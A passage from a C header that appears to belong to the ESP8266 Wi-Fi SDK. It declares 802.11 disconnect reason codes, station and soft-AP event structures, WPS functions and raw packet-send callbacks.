REASON_MIC_FAILURE = 14, /* 11i */
REASON_4WAY_HANDSHAKE_TIMEOUT = 15, /* 11i */
REASON_GROUP_KEY_UPDATE_TIMEOUT = 16, /* 11i */
REASON_IE_IN_4WAY_DIFFERS = 17, /* 11i */
REASON_GROUP_CIPHER_INVALID = 18, /* 11i */
REASON_PAIRWISE_CIPHER_INVALID = 19, /* 11i */
REASON_AKMP_INVALID = 20, /* 11i */
REASON_UNSUPP_RSN_IE_VERSION = 21, /* 11i */
REASON_INVALID_RSN_IE_CAP = 22, /* 11i */
REASON_802_1X_AUTH_FAILED = 23, /* 11i */
REASON_CIPHER_SUITE_REJECTED = 24, /* 11i */
REASON_BEACON_TIMEOUT = 200,
REASON_NO_AP_FOUND = 201,
};
typedef struct {
uint8 ssid[32];
uint8 ssid_len;
uint8 bssid[6];
uint8 channel;
} Event_StaMode_Connected_t;
typedef struct {
uint8 ssid[32];
uint8 ssid_len;
uint8 bssid[6];
uint8 reason;
} Event_StaMode_Disconnected_t;
typedef struct {
uint8 old_mode;
uint8 new_mode;
} Event_StaMode_AuthMode_Change_t;
typedef struct {
struct ip_addr ip;
struct ip_addr mask;
struct ip_addr gw;
} Event_StaMode_Got_IP_t;
typedef struct {
uint8 mac[6];
uint8 aid;
} Event_SoftAPMode_StaConnected_t;
typedef struct {
uint8 mac[6];
uint8 aid;
} Event_SoftAPMode_StaDisconnected_t;
typedef union {
Event_StaMode_Connected_t connected;
Event_StaMode_Disconnected_t disconnected;
Event_StaMode_AuthMode_Change_t auth_change;
Event_StaMode_Got_IP_t got_ip;
Event_SoftAPMode_StaConnected_t sta_connected;
Event_SoftAPMode_StaDisconnected_t sta_disconnected;
} Event_Info_u;
typedef struct _esp_event {
uint32 event;
Event_Info_u event_info;
} System_Event_t;
typedef void (* wifi_event_handler_cb_t)(System_Event_t *event);
void wifi_set_event_handler_cb(wifi_event_handler_cb_t cb);
typedef enum wps_type {
WPS_TYPE_DISABLE = 0,
WPS_TYPE_PBC,
WPS_TYPE_PIN,
WPS_TYPE_DISPLAY,
WPS_TYPE_MAX
} WPS_TYPE_t;
enum wps_cb_status {
WPS_CB_ST_SUCCESS = 0,
WPS_CB_ST_FAILED,
WPS_CB_ST_TIMEOUT,
WPS_CB_ST_WEP,
};
bool wifi_wps_enable(WPS_TYPE_t wps_type);
bool wifi_wps_disable(void);
bool wifi_wps_start(void);
typedef void (*wps_st_cb_t)(int status);
bool wifi_set_wps_cb(wps_st_cb_t cb);
typedef void (*freedom_outside_cb_t)(uint8 status);
int wifi_register_send_pkt_freedom_cb(freedom_outside_cb_t cb);
void wifi_unregister_send_pkt_freedom_cb(void);
int wifi_send_pkt_freedom(uint8 *buf, int len, bool sys_seq);
#endif